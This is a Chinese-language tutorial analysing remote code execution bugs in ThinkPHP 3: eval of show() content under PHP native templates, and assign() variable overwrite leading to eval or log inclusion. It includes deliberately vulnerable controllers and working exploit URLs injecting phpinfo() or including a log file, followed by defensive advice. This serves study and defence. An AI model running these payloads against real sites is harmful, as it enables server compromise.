thinkphp3 rce分析合集
字数 993 2025-08-29 08:31:35
ThinkPHP3 RCE漏洞分析与利用教学文档
一、ThinkPHP3 show函数命令执行漏洞
1.1 漏洞概述
ThinkPHP3框架中的show函数在特定配置下可能导致远程代码执行(RCE)漏洞。该漏洞源于模板解析过程中的不安全处理,当开启PHP原生模板时,攻击者可以注入恶意代码。
1.2 漏洞环境
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n = ''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:' . $n . '</p>', 'utf-8');
}
}
1.3 漏洞分析
-
调用链:
show()→fetch() -
关键函数
fetch分析:
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
extract($this->tVar, EXTR_OVERWRITE);
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
$content = ob_get_clean();
Hook::listen('view_filter',$content);
return $content;
}
-
漏洞触发条件:
- 配置
TMPL_ENGINE_TYPE为'php'(使用PHP原生模板) - 用户输入直接传入
show函数
- 配置
-
漏洞原理:
- 当使用PHP原生模板时,
$_content会被直接通过eval('?>'.$_content)执行 - 攻击者可以控制
$_content内容,导致任意代码执行
- 当使用PHP原生模板时,
1.4 漏洞利用
直接构造恶意输入即可实现RCE:
http://target.com/index.php?n=<?php phpinfo();?>
二、assign变量覆盖导致RCE
2.1 第一种情况:两个参数可控
漏洞代码
public function index(){
$a=$_GET[name];
$b=$_GET[from];
$this->assign($a,$b);
$this->display('index');
}
漏洞分析
assign函数用于向模板分配变量- 当两个参数都可控时,可以覆盖
$_content变量 - 在后续模板渲染时,被覆盖的
$_content会被执行
漏洞利用
Payload:
http://127.0.0.1/?name=_content&from=%3C?php%20phpinfo()?%3E
2.2 第二种情况:第一个变量可控(日志包含)
漏洞代码
public function index(){
$this->assign($_GET['name']);
$this->display('index');
}
漏洞分析
- 当只有第一个参数可控时,可以覆盖
_filename变量 - 通过包含日志文件实现RCE
- 注意:直接浏览器输入会被URL编码,需使用Burp等工具绕过
日志文件路径
./Application/Runtime/Logs/Home/22_01_14.log
漏洞利用
Payload:
http://127.0.0.1/?name[_filename]=./Application/Runtime/Logs/Home/22_01_14.log
2.3 调用链分析
index → display → fetch → listen
三、防御措施
-
输入过滤:
- 对所有用户输入进行严格过滤
- 避免直接将用户输入传递给
show或assign函数
-
配置安全:
- 避免使用PHP原生模板(
TMPL_ENGINE_TYPE不要设置为'php') - 使用官方推荐的模板引擎
- 避免使用PHP原生模板(
-
权限控制:
- 限制日志目录的访问权限
- 避免日志记录敏感信息
-
框架升级:
- 升级到最新版本的ThinkPHP
- 应用官方安全补丁
四、总结
ThinkPHP3中存在多种RCE漏洞利用方式,主要涉及:
show函数在特定配置下的代码执行assign函数导致的变量覆盖- 直接覆盖
_content变量 - 通过日志文件包含实现RCE
- 直接覆盖
理解这些漏洞的原理和利用方式,有助于开发人员编写更安全的代码和安全人员更好地进行安全测试。